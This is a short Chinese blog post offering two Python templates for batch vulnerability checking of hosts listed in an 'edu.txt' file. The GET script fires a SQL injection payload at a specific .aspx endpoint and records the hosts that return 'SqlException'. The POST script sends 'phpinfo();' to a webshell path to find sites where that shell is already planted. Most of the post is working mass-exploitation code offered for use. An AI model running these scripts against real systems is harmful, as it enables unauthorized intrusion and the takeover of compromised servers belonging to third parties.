安服实用小脚本:get与post两种批量请求方式的模板
题记
安服可能都有批量挖洞的需求,这时候验证漏洞存不存在就显得尤为重要,可以加快我们的工作效率。因此我整理下get请求和post请求下不同的模板,我们用的时候改一下url链接就好。
Get批量脚本
把要检测的ip放在edu.txt中,把相关漏洞链接复制到url的位置,看漏洞响应情况加个if判断(不同漏洞页面响应情况不同,你想要更精准些就自己写个正则,我懒),然后python3 poc.py即可。
这是get请求。
import requests file = open('edu.txt','r') number = file.readlines() id=1 for i in number: i = i.rstrip() i = str(i) try: url = 'http://' + i + "/client/messageurl.aspx?user=%27%20and%20(select%20db_name())>0--&pwd=1" #print(url) r = requests.get(url, timeout=1) r.encoding = r.apparent_encoding HtmlText = r.text if 'SqlException' in HtmlText: print("第"+str(id)+"个漏洞网址:"+url) id=id+1 else: pass except: pass
效果图:
Post批量脚本
有时候我们需要post请求发送数据,上面那个模板就不行了。自己看着改,需要加cookie的时候就加上cookie。这里我测试的是木马。
import requests file = open('edu.txt','r') number = file.readlines() id=1 for i in number: i = i.rstrip() i = str(i) try: #这里修改目标路径 url = 'http://' + i + "/20mm85.php" #print("这里测试一下ip的流向:" + url) headers={ 'cookie':'', 'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)' } data={ 'cmd':'phpinfo();' } #values = {'name': 'admin', 'password': '123456'}; #data = urllib.urlencode(values); result=requests.post(url,headers=headers,data=data,timeout=1).content.decode('utf-8') if 'phpinfo' in result: print("第"+str(id)+"个漏洞网址:"+url) id=id+1 #print(url) #r = requests.get(url, timeout=1) #r.encoding = r.apparent_encoding #HtmlText = r.text #if 'SqlException' in HtmlText: # print("第"+str(id)+"个漏洞网址:"+url) # id=id+1 else: pass except: pass
效果截图: